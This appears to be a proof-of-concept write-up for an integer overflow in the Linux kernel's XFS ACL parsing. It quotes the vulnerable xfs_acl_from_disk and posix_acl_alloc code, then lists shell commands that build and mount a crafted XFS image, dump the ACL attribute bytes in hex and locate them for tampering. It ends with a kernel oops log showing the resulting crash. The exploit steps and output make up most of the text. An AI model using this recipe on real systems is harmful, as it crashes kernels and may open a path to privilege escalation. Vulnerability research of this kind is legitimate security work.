STATIC struct posix_acl *
xfs_acl_from_disk(struct xfs_acl *aclp)
{
struct posix_acl_entry *acl_e;
struct posix_acl *acl;
struct xfs_acl_entry *ace;
int count, i;

count = be32_to_cpu(aclp->acl_cnt);

acl = posix_acl_alloc(count, GFP_KERNEL);
if (!acl)
return ERR_PTR(-ENOMEM);

for (i = 0; i < count; i++) {
acl_e = &acl->a_entries[i];
ace = &aclp->acl_entry[i];
...
acl_e->e_tag = be32_to_cpu(ace->ae_tag);
acl_e->e_perm = be16_to_cpu(ace->ae_perm);
...
}
return acl;
...
}

struct posix_acl *
posix_acl_alloc(int count, gfp_t flags)
{
const size_t size = sizeof(struct posix_acl) +
count * sizeof(struct posix_acl_entry);
struct posix_acl *acl = kmalloc(size, flags);
if (acl)
posix_acl_init(acl, count);
return acl;
}

const size_t size = sizeof(struct posix_acl) +
count * sizeof(struct posix_acl_entry);

for (i = 0; i < count; i++) {
......

[root@vulnBox xfs]# dd if=/dev/zero of=expl bs=1M count=40
40+0 records in
40+0 records out
41943040 bytes (42 MB) copied, 0.0600407 s, 699 MB/s
[root@vulnBox xfs]# mkfs.xfs expl
meta-data=expl                   isize=256    agcount=2, agsize=5120 blks
=                       sectsz=512   attr=2, projid32bit=0
data     =                       bsize=4096   blocks=10240, imaxpct=25
=                       sunit=0      swidth=0 blks
naming   =version 2              bsize=4096   ascii-ci=0
log      =internal log           bsize=4096   blocks=1200, version=2
=                       sectsz=512   sunit=0 blks, lazy-count=1
realtime =none                   extsz=4096   blocks=0, rtextents=0
[root@vulnBox xfs]#

[root@vulnBox xfs]# mount expl /mnt/tm/
[root@vulnBox xfs]# echo "coolExploit" > /mnt/tm/hellosuto
[root@vulnBox xfs]# setfacl -m u:user:rw- /mnt/tm/hellosuto
[root@vulnBox xfs]# getfattr -e hex -dm '.*' /mnt/tm/hellosuto
getfattr: Removing leading '/' from absolute path names
# file: mnt/tm/hellosuto
security.selinux=0x756e636f6e66696e65645f753a6f626a6563745f723a66696c655f743a733000
system.posix_acl_access=0x0200000001000600ffffffff02000600e803000004000400ffffffff10000600ffffffff20000400ffffffff
trusted.SGI_ACL_FILE=0x0000000500000001ffffffff0006000000000002000003e80006000000000004ffffffff0004000000000010ffffffff0006000000000020ffffffff00040000

[root@vulnBox xfs]# getfacl  /mnt/tm/hellosuto
getfacl: Removing leading '/' from absolute path names
# file: mnt/tm/hellosuto
# owner: root
# group: root
user::rw-
user:user:rw-
group::r--
mask::rw-
other::r--

0000DF60   00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  ................................
0000DF80   00 00 00 00  00 40 0C 53  47 49 5F 41  43 4C 5F 46  49 4C 45 00  00 00 05 00  00 00 01 FF  FF FF FF 00  .....@.SGI_ACL_FILE.............

[ 4107.439000] BUG: unable to handle kernel paging request at ffffffff
[ 4107.439015] IP: [<c04df18e>] __kmalloc+0x9d/0xff
[ 4107.439023] *pde = 00ffc067 *pte = 00000000
[ 4107.439023] Oops: 0000 [#1] SMP
[ 4107.439023] Modules linked in: xfs fcoe libfcoe 8021q garp stp llc lockd libfc scsi_transport_fc scsi_tgt ip6t_REJECT nf_conntrack_ipv6 nf_defrag_ipv6 nf_conntrack_ipv4 nf_defrag_ipv4 ip6table_filter xt_state ip6_tables nf_conntrack ppdev snd_intel8x0 snd_ac97_codec ac97_bus snd_seq snd_seq_device parport_pc snd_pcm snd_timer snd soundcore joydev i2c_piix4 microcode i2c_core parport e1000 snd_page_alloc sunrpc uinput [last unloaded: scsi_wait_scan]